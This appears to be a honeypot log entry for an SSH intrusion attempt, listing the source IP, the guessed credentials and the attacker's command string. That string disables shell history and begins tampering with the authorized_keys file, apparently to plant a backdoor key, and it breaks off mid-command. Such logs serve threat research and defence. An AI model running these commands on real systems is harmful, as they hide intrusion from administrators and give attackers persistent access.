Details

ID	2b32cd6a-fc3b-4263-9502-ed8f4c6e9d82
Attack Type	ssh
IP Address	206.189.136.160
Username	admin
Password	sysuser
Client Version	SSH-2.0-libssh2_1.8.0
Country	United States
Date	2020-01-14 05:22AM

Commands

uname -a;unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH;history -n;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0;cd;mkdir .ssh;cat .ssh/authorized_keys|grep -v 'heVAZUWSKHausOwb+Rem+eKhkrKvoeteq

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL